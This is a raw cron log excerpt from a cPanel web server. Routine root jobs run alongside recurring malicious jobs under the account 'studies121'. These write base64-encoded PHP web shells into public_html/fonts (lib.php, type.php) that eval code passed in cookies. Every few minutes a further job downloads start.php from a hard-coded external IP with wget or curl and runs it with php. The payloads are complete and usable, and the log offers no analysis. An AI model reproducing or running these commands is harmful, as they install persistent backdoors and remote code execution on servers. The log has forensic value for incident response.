Sep  8 14:04:01 ip-184-168-122-23 CROND[32203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:05:01 ip-184-168-122-23 CROND[32296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32307]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:05:01 ip-184-168-122-23 CROND[32308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:06:01 ip-184-168-122-23 CROND[32393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:06:01 ip-184-168-122-23 CROND[32392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:06:01 ip-184-168-122-23 CROND[32395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:06:01 ip-184-168-122-23 CROND[32394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:06:01 ip-184-168-122-23 CROND[32396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:07:01 ip-184-168-122-23 CROND[32478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:07:01 ip-184-168-122-23 CROND[32480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:07:01 ip-184-168-122-23 CROND[32482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:07:01 ip-184-168-122-23 CROND[32481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:08:01 ip-184-168-122-23 CROND[32568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:08:01 ip-184-168-122-23 CROND[32572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:08:01 ip-184-168-122-23 CROND[32573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:08:01 ip-184-168-122-23 CROND[32570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:08:01 ip-184-168-122-23 CROND[32571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:09:01 ip-184-168-122-23 CROND[32658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:09:01 ip-184-168-122-23 CROND[32662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:09:01 ip-184-168-122-23 CROND[32661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:09:01 ip-184-168-122-23 CROND[32660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:09:01 ip-184-168-122-23 CROND[32663]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 14:10:01 ip-184-168-122-23 CROND[390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:10:01 ip-184-168-122-23 CROND[393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:10:01 ip-184-168-122-23 CROND[394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:10:01 ip-184-168-122-23 CROND[395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:10:01 ip-184-168-122-23 CROND[397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:10:01 ip-184-168-122-23 CROND[402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:10:01 ip-184-168-122-23 CROND[403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:10:01 ip-184-168-122-23 CROND[404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:11:01 ip-184-168-122-23 CROND[490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:11:01 ip-184-168-122-23 CROND[491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:11:01 ip-184-168-122-23 CROND[492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:11:01 ip-184-168-122-23 CROND[493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:12:01 ip-184-168-122-23 CROND[600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:12:01 ip-184-168-122-23 CROND[603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:12:01 ip-184-168-122-23 CROND[602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:12:01 ip-184-168-122-23 CROND[604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:12:01 ip-184-168-122-23 CROND[605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:13:01 ip-184-168-122-23 CROND[695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:13:01 ip-184-168-122-23 CROND[696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:13:01 ip-184-168-122-23 CROND[698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:13:01 ip-184-168-122-23 CROND[701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:14:01 ip-184-168-122-23 CROND[808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:14:01 ip-184-168-122-23 CROND[810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:14:01 ip-184-168-122-23 CROND[811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:14:01 ip-184-168-122-23 CROND[813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:14:01 ip-184-168-122-23 CROND[812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:15:01 ip-184-168-122-23 CROND[1028]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 14:15:01 ip-184-168-122-23 CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:15:01 ip-184-168-122-23 CROND[1034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:15:01 ip-184-168-122-23 CROND[1031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:15:01 ip-184-168-122-23 CROND[1033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:15:01 ip-184-168-122-23 CROND[1032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:15:01 ip-184-168-122-23 CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:16:01 ip-184-168-122-23 CROND[1140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:16:01 ip-184-168-122-23 CROND[1141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:16:01 ip-184-168-122-23 CROND[1145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:16:01 ip-184-168-122-23 CROND[1147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:16:01 ip-184-168-122-23 CROND[1149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
